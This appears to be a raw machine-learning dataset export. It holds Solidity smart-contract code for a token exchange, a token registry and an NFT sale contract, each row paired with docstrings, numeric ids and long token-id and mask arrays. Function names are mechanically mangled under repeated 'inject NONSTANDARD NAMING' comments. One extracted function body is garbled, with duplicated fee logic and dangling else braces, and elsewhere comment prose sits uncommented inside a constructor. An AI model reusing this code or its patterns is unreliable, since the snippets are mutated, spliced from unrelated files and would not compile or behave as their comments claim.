GCTokenType1("growth cUSDC", "gcUSDC", 8, $.GRO, $.cUSDC, $.COMP) public
{
}
}
// File: contracts/GSushiswapExchange.sol
pragma solidity ^0.6.0;
/**
* @notice This contract implements the GExchange interface routing token
* conversions via Sushiswap.
*/
contract GSushiswapExchange is GExchange
{
/**
* @notice Computes the amount of tokens to be received upon conversion.
* @param _from The contract address of the ERC-20 token to convert from.
* @param _to The contract address of the ERC-20 token to convert to.
* @param _inputAmount The amount of the _from token to be provided (may be 0).
* @return _outputAmount The amount of the _to token to be received (may be 0).
*/
function calcConversionOutputFromInput(address _from, address _to, uint256 _inputAmount) public view override returns (uint256 _outputAmount)
{
return SushiswapExchangeAbstraction._calcConversionOutputFromInput(_from, _to, _inputAmount);
}
/**
* @notice Computes the amount of tokens to be provided upon conversion.
* @param _from The contract address of the ERC-20 token to convert from.
* @param _to The contract address of the ERC-20 token to convert to.
* @param _outputAmount The amount of the _to token to be received (may be 0).
* @return _inputAmount The amount of the _from token to be provided (may be 0).
*/
function calcConversionInputFromOutput(address _from, address _to, uint256 _outputAmount) public view override returns (uint256 _inputAmount)
{
return SushiswapExchangeAbstraction._calcConversionInputFromOutput(_from, _to, _outputAmount);
}
/**
* @notice Converts a given token amount to another token, as long as it
* meets the minimum taken amount. Amounts are debited from and
* and credited to the caller contract. It may fail if the
* minimum output amount cannot be met.
* @param _from The contract address of the ERC-20 token to convert from.
* @param _to The contract address of the ERC-20 token to convert to.
* @param _inputAmount The amount of the _from token to be provided (may be 0).
* @param _minOutputAmount The minimum amount of the _to token to be received (may be 0).
* @return _outputAmount The amount of the _to token received (may be 0).
*/
function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public override returns (uint256 _outputAmount)
{
address _sender = msg.sender;
G.pullFunds(_from, _sender, _inputAmount);
_outputAmount = SushiswapExchangeAbstraction._convertFunds(_from, _to, _inputAmount, _minOutputAmount);
G.pushFunds(_to, _sender, _outputAmount);
return _outputAmount;
}
}
// File: contracts/GTokenRegistry.sol
pragma solidity ^0.6.0;
/**
* @notice This contract allows external agents to detect when new GTokens
* are deployed to the network.
*/
contract GTokenRegistry is Ownable
{
/**
* @notice Registers a new gToken.
* @param _growthToken The address of the token being registered.
* @param _oldGrowthToken The address of the token implementation
* being replaced, for upgrades, or 0x0 0therwise.
*/
function registerNewToken(address _growthToken, address _oldGrowthToken) public onlyOwner
{
emit NewToken(_growthToken, _oldGrowthToken);
}
event NewToken(address indexed _growthToken, address indexed _oldGrowthToken);
} | * @dev Initializes the data structure. This method is exposed publicly. @param _reserveToken The ERC-20 token address of the reserve token (cToken). @param _underlyingToken The ERC-20 token address of the underlying token that backs up the reserve token. @param _miningToken The ERC-20 token address to be collected from liquidity mining (COMP)./ | function init(Self storage _self, address _reserveToken, address _underlyingToken, address _miningToken) public
{
_self.reserveToken = _reserveToken;
_self.underlyingToken = _underlyingToken;
_self.exchange = address(0);
_self.miningToken = _miningToken;
_self.miningMinGulpAmount = 0;
_self.miningMaxGulpAmount = 0;
_self.collateralizationRatio = DEFAULT_COLLATERALIZATION_RATIO;
_self.collateralizationMargin = DEFAULT_COLLATERALIZATION_MARGIN;
CompoundLendingMarketAbstraction._safeEnter(_reserveToken);
}
| 6,170,504 | [
1,
9685,
326,
501,
3695,
18,
1220,
707,
353,
16265,
1071,
715,
18,
225,
389,
455,
6527,
1345,
1021,
4232,
39,
17,
3462,
1147,
1758,
434,
326,
20501,
1147,
261,
71,
1345,
2934,
225,
389,
9341,
6291,
1345,
1021,
4232,
39,
17,
3462,
1147,
1758,
434,
326,
6808,
7682,
1147,
716,
1473,
87,
731,
326,
20501,
1147,
18,
225,
389,
1154,
310,
1345,
1021,
4232,
39,
17,
3462,
1147,
1758,
358,
506,
12230,
628,
5397,
4501,
372,
24237,
1131,
310,
261,
10057,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
1208,
12,
10084,
2502,
389,
2890,
16,
1758,
389,
455,
6527,
1345,
16,
1758,
389,
9341,
6291,
1345,
16,
1758,
389,
1154,
310,
1345,
13,
1071,
203,
202,
95,
203,
202,
202,
67,
2890,
18,
455,
6527,
1345,
273,
389,
455,
6527,
1345,
31,
203,
202,
202,
67,
2890,
18,
9341,
6291,
1345,
273,
389,
9341,
6291,
1345,
31,
203,
203,
202,
202,
67,
2890,
18,
16641,
273,
1758,
12,
20,
1769,
203,
203,
202,
202,
67,
2890,
18,
1154,
310,
1345,
273,
389,
1154,
310,
1345,
31,
203,
202,
202,
67,
2890,
18,
1154,
310,
2930,
43,
14290,
6275,
273,
374,
31,
203,
202,
202,
67,
2890,
18,
1154,
310,
2747,
43,
14290,
6275,
273,
374,
31,
203,
203,
202,
202,
67,
2890,
18,
12910,
2045,
287,
1588,
8541,
273,
3331,
67,
4935,
12190,
654,
1013,
25084,
67,
54,
789,
4294,
31,
203,
202,
202,
67,
2890,
18,
12910,
2045,
287,
1588,
9524,
273,
3331,
67,
4935,
12190,
654,
1013,
25084,
67,
19772,
7702,
31,
203,
203,
202,
202,
16835,
48,
2846,
3882,
278,
5895,
701,
1128,
6315,
4626,
10237,
24899,
455,
6527,
1345,
1769,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.8;
contract Ownable {
address public owner;
event OWNERSHIPTRANSFERRED742(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor() public {
owner = msg.sender;
}
modifier ONLYOWNER252() { //inject NONSTANDARD NAMING
require(msg.sender == owner);
_;
}
function TRANSFEROWNERSHIP351(address newOwner) public ONLYOWNER252 { //inject NONSTANDARD NAMING
require(newOwner != address(0));
emit OWNERSHIPTRANSFERRED742(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event TRANSFER592(address indexed from, address indexed to, uint256 indexed tokenId); //inject NONSTANDARD NAMING
event APPROVAL116(address indexed owner, address indexed approved, uint256 indexed tokenId); //inject NONSTANDARD NAMING
event APPROVALFORALL761(address indexed owner, address indexed operator, bool approved); //inject NONSTANDARD NAMING
function BALANCEOF286(address owner) public view returns (uint256 balance); //inject NONSTANDARD NAMING
function OWNEROF883(uint256 tokenId) public view returns (address owner); //inject NONSTANDARD NAMING
function APPROVE279(address to, uint256 tokenId) public; //inject NONSTANDARD NAMING
function GETAPPROVED445(uint256 tokenId) public view returns (address operator); //inject NONSTANDARD NAMING
function SETAPPROVALFORALL429(address operator, bool _approved) public; //inject NONSTANDARD NAMING
function ISAPPROVEDFORALL922(address owner, address operator) public view returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM675(address from, address to, uint256 tokenId) public; //inject NONSTANDARD NAMING
function SAFETRANSFERFROM377(address from, address to, uint256 tokenId) public; //inject NONSTANDARD NAMING
function SAFETRANSFERFROM377(address from, address to, uint256 tokenId, bytes memory data) public; //inject NONSTANDARD NAMING
}
contract ERC20BasicInterface {
function TOTALSUPPLY614() public view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF286(address who) public view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER601(address to, uint256 value) public returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM675(address from, address to, uint256 value) public returns (bool); //inject NONSTANDARD NAMING
event TRANSFER592(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
uint8 public decimals;
}
contract Bussiness is Ownable {
address public ceoAddress = address(0x6C3E879BDD20e9686cfD9BBD1bfD4B2Dd6d47079);
IERC721 public erc721Address = IERC721(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public ETHFee = 25; // 2,5 %
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee = 2000000000000000;
uint256 public limitHBWALLETFee = 2;
uint256 public hightLightFee = 30000000000000000;
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
modifier ONLYCEOADDRESS253() { //inject NONSTANDARD NAMING
require(msg.sender == ceoAddress);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _BURNARRAYTOKENIDSALE680(uint index) internal { //inject NONSTANDARD NAMING
require(index < arrayTokenIdSale.length);
arrayTokenIdSale[index] = arrayTokenIdSale[arrayTokenIdSale.length - 1];
delete arrayTokenIdSale[arrayTokenIdSale.length - 1];
arrayTokenIdSale.length--;
}
function OWNEROF883(uint256 _tokenId) public view returns (address){ //inject NONSTANDARD NAMING
return erc721Address.OWNEROF883(_tokenId);
}
function BALANCEOF286() public view returns (uint256){ //inject NONSTANDARD NAMING
return address(this).balance;
}
function GETAPPROVED445(uint256 _tokenId) public view returns (address){ //inject NONSTANDARD NAMING
return erc721Address.GETAPPROVED445(_tokenId);
}
function SETPRICE924(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint256 _hbfee, bool _isHightLight) internal { //inject NONSTANDARD NAMING
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function SETPRICEFEEETH967(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public payable { //inject NONSTANDARD NAMING
require(erc721Address.OWNEROF883(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee + hightLightFee);
} else {
require(msg.value == limitETHFee + hightLightFee);
ethfee = limitETHFee;
}
}
ethfee += prices[_tokenId].fee;
} else ethfee = _ethPrice * ETHFee / Percen;
SETPRICE924(_tokenId, _ethPrice, ethfee, 0, _isHightLight);
}
function SETPRICEFEEHBWALLET897(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public returns (bool){ //inject NONSTANDARD NAMING
require(erc721Address.OWNEROF883(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 fee;
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.TRANSFERFROM675(msg.sender, address(this), fee + _hightLightFee));
} else {
require(hbwalletToken.TRANSFERFROM675(msg.sender, address(this), limitHBWALLETFee + _hightLightFee));
fee = limitHBWALLETFee;
}
}
fee += prices[_tokenId].hbfee;
} else {
ethfee = _ethPrice * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
}
SETPRICE924(_tokenId, _ethPrice, 0, fee, _isHightLight);
return true;
}
function REMOVEPRICE927(uint256 tokenId) public returns (uint256){ //inject NONSTANDARD NAMING
require(erc721Address.OWNEROF883(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
else if (prices[tokenId].hbfee > 0) hbwalletToken.TRANSFER601(msg.sender, prices[tokenId].hbfee);
RESETPRICE775(tokenId);
return prices[tokenId].price;
}
function SETFEE284(uint256 _ethFee, uint256 _HBWALLETExchange, uint256 _hightLightFee) public ONLYOWNER252 returns (uint256, uint256, uint256){ //inject NONSTANDARD NAMING
require(_ethFee > 0 && _HBWALLETExchange > 0 && _hightLightFee > 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function SETLIMITFEE654(uint256 _ethlimitFee, uint256 _hbWalletlimitFee) public ONLYOWNER252 returns (uint256, uint256){ //inject NONSTANDARD NAMING
require(_ethlimitFee > 0 && _hbWalletlimitFee > 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
function WITHDRAW821(address payable _address, uint256 amount, uint256 _amountHB) public ONLYCEOADDRESS253 { //inject NONSTANDARD NAMING
require(_address != address(0) && amount > 0 && address(this).balance >= amount && _amountHB > 0 && hbwalletToken.BALANCEOF286(address(this)) >= _amountHB);
_address.transfer(amount);
hbwalletToken.TRANSFERFROM675(address(this), _address, _amountHB);
}
function CANCELBUSSINESS265() public ONLYCEOADDRESS253 { //inject NONSTANDARD NAMING
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.OWNEROF883(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0 && address(this).balance >= prices[arrayTokenIdSale[i]].fee) {
prices[arrayTokenIdSale[i]].tokenOwner.transfer(prices[arrayTokenIdSale[i]].fee);
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0 && hbwalletToken.BALANCEOF286(address(this)) >= prices[arrayTokenIdSale[i]].hbfee) {
hbwalletToken.TRANSFER601(prices[arrayTokenIdSale[i]].tokenOwner, prices[arrayTokenIdSale[i]].hbfee);
}
}
RESETPRICE775(arrayTokenIdSale[i]);
}
}
function CHANGECEO557(address _address) public ONLYCEOADDRESS253 { //inject NONSTANDARD NAMING
require(_address != address(0));
ceoAddress = _address;
}
function BUY787(uint256 tokenId) public payable { //inject NONSTANDARD NAMING
require(GETAPPROVED445(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.TRANSFERFROM675(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
RESETPRICE775(tokenId);
}
function BUYWITHOUTCHECKAPPROVED538(uint256 tokenId) public payable { //inject NONSTANDARD NAMING
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.TRANSFERFROM675(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
RESETPRICE775(tokenId);
}
function RESETPRICE775(uint256 tokenId) private { //inject NONSTANDARD NAMING
prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (arrayTokenIdSale[i] == tokenId) {
_BURNARRAYTOKENIDSALE680(i);
}
}
}
} | ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18) | if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.TRANSFERFROM675(msg.sender, address(this), fee + _hightLightFee));
require(hbwalletToken.TRANSFERFROM675(msg.sender, address(this), limitHBWALLETFee + _hightLightFee));
fee = limitHBWALLETFee;
}
}
fee += prices[_tokenId].hbfee;
ethfee = _ethPrice * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.TRANSFERFROM675(msg.sender, address(this), fee + _hightLightFee));
require(hbwalletToken.TRANSFERFROM675(msg.sender, address(this), limitHBWALLETFee + _hightLightFee));
fee = limitHBWALLETFee;
}
}
fee += prices[_tokenId].hbfee;
ethfee = _ethPrice * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
} else {
} else {
}
| 7,237,383 | [
1,
546,
21386,
225,
670,
38,
59,
1013,
15146,
11688,
342,
576,
225,
261,
2163,
225,
576,
13,
342,
261,
2163,
225,
6549,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
309,
261,
683,
1242,
63,
67,
2316,
548,
8009,
8694,
411,
389,
546,
5147,
13,
288,
203,
5411,
13750,
21386,
273,
261,
67,
546,
5147,
300,
19827,
63,
67,
2316,
548,
8009,
8694,
13,
380,
512,
2455,
14667,
342,
5722,
71,
275,
31,
203,
5411,
14036,
273,
13750,
21386,
380,
670,
38,
59,
1013,
15146,
11688,
342,
576,
342,
261,
2163,
2826,
2872,
1769,
203,
5411,
309,
12,
683,
1242,
63,
67,
2316,
548,
8009,
8694,
422,
374,
13,
288,
203,
7734,
309,
261,
21386,
1545,
1800,
44,
38,
59,
1013,
15146,
14667,
13,
288,
203,
10792,
2583,
12,
76,
70,
19177,
1345,
18,
16596,
6553,
11249,
26,
5877,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
14036,
397,
389,
76,
750,
12128,
14667,
10019,
203,
10792,
2583,
12,
76,
70,
19177,
1345,
18,
16596,
6553,
11249,
26,
5877,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
1800,
44,
38,
59,
1013,
15146,
14667,
397,
389,
76,
750,
12128,
14667,
10019,
203,
10792,
14036,
273,
1800,
44,
38,
59,
1013,
15146,
14667,
31,
203,
7734,
289,
203,
5411,
289,
203,
5411,
14036,
1011,
19827,
63,
67,
2316,
548,
8009,
76,
17156,
1340,
31,
203,
5411,
13750,
21386,
273,
389,
546,
5147,
380,
512,
2455,
14667,
342,
5722,
71,
275,
31,
203,
5411,
14036,
273,
13750,
21386,
380,
670,
38,
59,
1013,
15146,
11688,
342,
576,
342,
261,
2163,
2826,
2872,
1769,
203,
5411,
309,
12,
683,
1242,
63,
67,
2316,
548,
8009,
8694,
422,
374,
13,
288,
203,
7734,
309,
261,
2
] |
./partial_match/1/0x887CadAabC270f080132ADF972Bb2a8e73eF7972/sources/NeeroBot.sol | exclude from paying fees or having max transaction amount | constructor() ERC20("Neero Bot", "NEERO") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyDevelopmentFee = 1;
uint256 _buyMarketingFee = 2;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellDevelopmentFee = 1;
uint256 _sellMarketingFee = 2;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1000000 * 1e18;
buyDevelopmentFee = _buyDevelopmentFee;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyDevelopmentFee + buyMarketingFee + buyLiquidityFee + buyDevFee;
sellDevelopmentFee = _sellDevelopmentFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellDevelopmentFee + sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 15,970,122 | [
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
6586,
2439,
15039,
3113,
315,
5407,
13309,
7923,
288,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
203,
5411,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
203,
3639,
11272,
203,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
203,
3639,
2254,
5034,
389,
70,
9835,
26438,
14667,
273,
404,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
576,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
2
] |
./full_match/1/0x08Aa43bd095716303708a05bdc3ca90360116D67/sources/Holdefi_mainnet/HoldefiSettings.sol | @notice Returns supply, borrow and promotion rate of the given market @dev supplyRate = (totalBorrow * borrowRate) * suppliersShareRate / totalSupply @param market Address of the given market @return borrowRate Borrow rate of the given market @return supplyRateBase Supply rate base of the given market @return promotionRate Promotion rate of the given market | function getInterests (address market)
external
view
returns (uint256 borrowRate, uint256 supplyRateBase, uint256 promotionRate)
{
uint256 totalBorrow = holdefiContract.marketAssets(market).totalBorrow;
uint256 totalSupply = holdefiContract.marketAssets(market).totalSupply;
borrowRate = marketAssets[market].borrowRate;
if (totalSupply == 0) {
supplyRateBase = 0;
}
else {
uint256 totalInterestFromBorrow = totalBorrow.mul(borrowRate);
uint256 suppliersShare = totalInterestFromBorrow.mul(marketAssets[market].suppliersShareRate);
suppliersShare = suppliersShare.div(rateDecimals);
supplyRateBase = suppliersShare.div(totalSupply);
}
promotionRate = marketAssets[market].promotionRate;
}
| 9,697,332 | [
1,
1356,
14467,
16,
29759,
471,
23024,
4993,
434,
326,
864,
13667,
225,
14467,
4727,
273,
261,
4963,
38,
15318,
225,
29759,
4727,
13,
225,
1169,
8127,
414,
9535,
4727,
342,
2078,
3088,
1283,
225,
13667,
5267,
434,
326,
864,
13667,
327,
29759,
4727,
605,
15318,
4993,
434,
326,
864,
13667,
327,
14467,
4727,
2171,
3425,
1283,
4993,
1026,
434,
326,
864,
13667,
327,
23024,
4727,
17552,
8240,
4993,
434,
326,
864,
13667,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
336,
2465,
25563,
261,
2867,
13667,
13,
203,
202,
202,
9375,
203,
202,
202,
1945,
203,
202,
202,
6154,
261,
11890,
5034,
29759,
